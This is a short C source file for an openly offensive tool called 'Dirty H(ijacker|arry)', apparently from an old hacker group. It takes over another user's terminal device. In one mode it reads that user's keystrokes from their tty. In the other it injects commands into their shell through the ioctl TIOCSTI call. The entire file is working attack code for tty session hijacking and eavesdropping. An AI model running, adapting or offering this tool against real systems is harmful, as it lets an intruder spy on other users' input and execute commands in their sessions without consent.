#include <sys/ioctl.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>

// Dirty H(ijacker|arry) by typo/teso.. paralell tailing and ioctl input 
// don't work.. neither does nonblocking tailing. any suggestions on how
// to improve this ? -> typo@scene.at

// credits: Saegfault for some ideas regarding the tail mode.

char *moo;
int fd;

void inthand() {
  printf("moo!\n");
  free(moo);
  close(fd);
  exit(-1); 
}

int main(int argc, char **argv) {
  char *moo2;

  printf("-- Dirty H(ijacker|arry) by typo/teso --\n");
  if (argc<2) {
    printf("Usage: %s </dev/ttyx> [tailmode]\n",argv[0]);
    exit(-1);
  }

  signal(SIGINT, (void*)&inthand);
  moo2 = moo = (char *)malloc(400);

  if (argc>2) {
    fd = open(argv[1], O_RDONLY|O_SYNC); 
    printf("Tailing %s""... all commands we receive won't reach the shell:\n", argv[1]);
    while (1) {
      read(fd,moo,1);
      printf("%s",moo);
      if (!strcmp(moo,"\r")) 
              printf("\n");
      fflush(stdout);
    }
  } else {
    fd = open(argv[1], O_WRONLY); 
    printf("Inserting Commands into %s"":\n", argv[1]);
    while (1) {
      moo = moo2;
      fgets(moo, 400, stdin);
      while (*moo) 
           ioctl(fd, TIOCSTI, moo++);
    }
  }
}